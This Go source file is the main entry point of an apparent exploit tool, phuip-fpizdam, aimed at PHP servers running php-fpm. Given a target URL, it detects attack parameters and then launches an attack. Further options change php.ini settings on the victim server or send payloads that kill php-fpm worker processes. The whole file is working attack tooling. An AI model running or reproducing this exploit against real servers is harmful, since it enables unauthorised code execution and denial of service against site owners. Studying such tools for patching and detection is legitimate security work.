package main import ( "log" "os" "time" "github.com/spf13/cobra" ) func main() { var ( method string cookie string setting string logfile string skipDetect bool skipAttack bool killWorkers bool killCount int resetSetting bool resetRetries int onlyQSL bool params = &AttackParams{} delay time.Duration ) var cmd = &cobra.Command{ Use: "phuip-fpizdam [url]", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { url := args[0] if logfile != "" { file, err := os.OpenFile(logfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644) if err != nil { log.Fatal(err) } defer func() { _ = file.Close() }() log.SetOutput(file) } m, ok := Methods[method] if !ok { log.Fatalf("Unknown detection method: %v", method) } requester, err := NewRequester(url, cookie, delay) if err != nil { log.Fatalf("Failed to create requester: %v", err) } if resetSetting { if !params.Complete() { log.Fatal("--reset-setting requires complete params") } if setting == "" { setting = m.PHPOptionDisable } if resetRetries == -1 { resetRetries = 1 << 30 } if err := SetSetting(requester, params, setting, resetRetries); err != nil { log.Fatalf("ResetSetting() returned error: %v", err) } log.Printf("I did my best trying to set %#v", setting) return } if setting != "" { log.Fatal("--setting requires --reset-setting") } if killWorkers { if params.QueryStringLength == 0 { log.Fatal("QSL value is required for killing workers") } // The breaking payload is 4 bytes shorter than usual (34), so we have // (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6. // This probably won't work in some configurations. params.QueryStringLength += 6 if err := KillWorkers(requester, params, killCount); err != nil { log.Fatalf("KillWorkers() returned error: %v", err) } log.Printf("all done") return } if skipDetect { if !params.Complete() { log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do") } log.Printf("Using attack params %s", params) } else { var err error params, err = Detect(requester, m, params, onlyQSL) if err != nil { if err == errPisosBruteForbidden && onlyQSL { log.Printf("Detect() found QSLs and that's it") return } log.Fatalf("Detect() returned error: %v", err) } if !params.Complete() { log.Fatal("Detect() returned incomplete attack params, something gone wrong") } log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params) } if skipAttack || onlyQSL { log.Print("Attack phase is disabled, so that's it") return } if err := Attack(requester, params); err != nil { log.Fatalf("Attack returned error: %v", err) } }, } cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)") cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie") cmd.Flags().StringVar(&logfile, "logfile", "", "redirect error log from stderr to a file") cmd.Flags().IntVar(¶ms.QueryStringLength, "qsl", 0, "qsl hint") cmd.Flags().IntVar(¶ms.PisosLength, "pisos", 0, "pisos hint") cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase") cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase") cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable") cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)") cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot") cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting") cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)") cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload") cmd.Flags().DurationVar(&delay, "delay", 0, "delay between requests (applied right after each request). Attacks will take *much* longer!") if err := cmd.Execute(); err != nil { log.Fatal(err) } }